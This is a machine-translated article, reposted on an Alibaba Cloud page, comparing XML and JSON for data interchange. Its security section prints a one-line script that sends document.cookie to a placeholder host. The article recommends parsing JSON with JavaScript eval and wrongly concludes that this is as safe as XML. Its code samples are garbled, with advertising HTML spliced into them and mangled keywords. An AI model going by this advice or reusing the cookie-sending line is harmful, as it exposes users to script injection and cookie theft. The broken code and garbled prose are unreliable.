The difference between XML and JSON

Source: Internet
Author: User
Tags readable

JSON (Javascript Object Notation) is a lightweight data interchange format. Easy for people to read and write. It is also easy for machine parsing and generation. It is based on JavaScript programming Language, Standard ECMA-262 a subset of 3rd Edition–december 1999. JSON takes a completely language-independent text format, but also uses a similar idiom to the C language family (c, C + +, C #, Java, Javascript, Perl, Python, etc.). These features make JSON an ideal data exchange language. This article will objectively compare the difference between the two from the following aspects:

    1. Readability
    2. Is it easy to create data on the server
    3. Is it easy to process data on the client
    4. Scalability
    5. Debugging and troubleshooting
    6. Safety
    7. Data Interchange Format comparison for lightweight and heavyweight
    8. The difficulty of data format coding and parsing in data interchange format comparison

1. Readability

Both have good readability, but from a practical point of view, the individual still feels that the XML document will be more readable , requiring you to see its structural hierarchy in a whole bunch of JSON code that is relatively difficult. And now a lot of IDE tools can format XML into an easy-to-read structure that looks pretty comfortable and JSON is not.

2. Is it easy to create data on the server

XML has been popular for many years, so the current popular programming languages have a large number of XML data binding API to create XML, in the Java language, for example, you can use JAXB, you can use XMLBeans, or dom4j, jdom and so on to write data into XML files. On the other hand, the JSON aspect of the API is relatively a new field, however, the official JSON site is also listed in a number of impressive language of the api,java aspects of the more famous json-lib, in addition to Gson also counted as one. In this respect, although JSON is not a far-off relative to XML, it is a bit less, especially in complex applications, where XML APIs have existed for many years and are relatively mature and stable . Soap is built on the basis of XML standards.

3. Is it easy to process data on the client

On the client side, it is a breeze to process the JSON-formatted response data returned by the XMLHttpRequest request, using only the Eval function of JavaScript to convert JSON-formatted data into JavaScript objects. Then access the value through the object's properties, which is the most elegant of JSON, countless people fascinated. and XML is not so friendly in this respect, has caused countless programmers headache, because processing XML response data, you have to pass the DOM tree, this is very cumbersome and error-prone work. In this regard, JSON is preferable to XML .

4. Extensibility

Scalability helps reduce data coupling between producers and consumers. In AJAX applications, client-side scripting should be reasonably compatible with unknown data extensions.

There is no doubt thatXML is extensible, but its extension is limited , because if you want to adapt to the extension, then your client code will have to make corresponding changes, such as the following client parsing code:

var<span style="Width:auto; height:auto;"Id="2_NWP"><a style="Text-decoration:none;"Mpid="2"target="_blank"href="http://cpro.baidu.com/cpro/ui/uijs.php?adclass=0&app_id=0&c=news&cf=1001&ch=0&di=128 &fv=0&is_app=0&jk=580730bc539a1309&k=xml&k0=xml&kdi0=0&luki=10&n=10&p= Baidu&q=06011078_cpr&rb=0&rs=1&seller_id=1&sid=9139a53bc300758&ssp2=1&stid=0&t =tpclicked3_hc&td=1922429&tu=u1922429&u=http%3a%2f%2fwww%2eadmin10000%2ecom%2fdocument%2f1071% 2ehtml&urlid=0"Id="2_NWL"><span style="color: #0000ff; font-size:14px;width:auto;height:auto;float:none;">xml</span></a></span> =Xhr.responsexml;varelements = Xml.getelementsbytagname ("FirstName"); varFirstnameel = elements[0]; varLastnameel = firstnameel.nextsibling;

If you add <middlename> this node after the <firstName> node in the response XML, then the above code will change accordingly, otherwise it would be wrong, that is, theXML extension is accompanied by changes in the parsing code , there is no magic to say. and JSON is much simpler , even if you want to increase the MiddleName this property, the JS client is still access to the property value through the object , without causing errors such as syntax error on JS, resulting in the program cannot execute.

5. Commissioning and troubleshooting

This aspect needs to be considered from both the server side and the client side, in order to ensure that the data is well-formed and efficient, and that it should be easy to debug in the client.

Using XML would be relatively easy to check that the data being sent to the client is well-formed and valid. You can also use the data schema to verify the correctness and validity of the XML. Using JSON, this task is manual and involves verifying that the response object contains the correct attributes.

In the client, it is difficult to find errors from both. In the case of XML, the browser is completely unable to format the XML into Responsexml, and if it is possible to find errors through Firebug for JSON data with a small amount of data, it can only be checked by hand for large amounts of data.

6. Security

Some people think that using JSON is unsafe because JSON can contain JS code, and the client uses eval to make the code execute, and the code can be a security risk. As in the following code:

Window.location ="<a href="http//xxxxx.com/">http://baidu.com</a>? "+ Document.cookie;Person : {"FirstName":"Wisdom",  "LastName":"Hu" }

The above code causes the browser to submit the user's cookie data to a rogue website. But this may only happen to developers deliberately, others are not able to do so, but if it is the developer intentionally, then he would like to do so in other ways to submit your cookie data to the rogue site, which is not related to the use of JSON, so relative to the XML, JSON is the same safe.

7. Comparison of data interchange formats for lightweight and heavyweight

Lightweight and heavyweight are relative, so what is the weight level of XML relative to JSON? I think it should be reflected in the analysis, XML is currently designed two analytic methods: Dom and sax;

Dom is a data Interchange Format XML as a DOM object, you need to read the entire XML file into memory, which is the same as the principle of JSON and XML, but the XML to consider the parent node and child nodes, which is much less difficult to parse JSON, Because JSON is built on two structures: Key/value, a set of key-value pairs, an ordered set of values that can be understood as an array;

Sax does not require the entire document to be read into the parsed content can be processed, is a stepwise analysis of the method. The program can also terminate parsing at any time. In this way, a large document can be gradually and 1.1 points, so sax is suitable for large-scale parsing. At this point, JSON is not available at this time.

So, thedifference between the light/weight of JSON and XML is that JSON only provides a holistic parsing scheme, which only works well when parsing less data, and XML provides a step-up solution to large-scale data that is well suited for processing large amounts of data.

8, Data Interchange Format comparison of data format coding and parsing difficulty

In encoding, although XML and JSON have their own coding tools, but JSON encoding is simpler than XML, even if the use of tools, you can write JSON code, but to write good XML code is a bit difficult; As with XML, JSON is text-based, And they all use Unicode encoding, and they are as readable as the data Interchange Format XML.

Subjectively, JSON is clearer and less redundant. The JSON Web site provides a strict description of the JSON syntax, just a short description. In general, XML is more appropriate for tagging documents, while JSON is more suitable for data interchange processing.

In the analytic, in the common Web application domain, the developer often has the nerve to parse the XML, whether the server side generates or processes the XML, or the client uses the JavaScript parsing XML, often causes the complex code, extremely low development efficiency.

The difference between XML and JSON

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.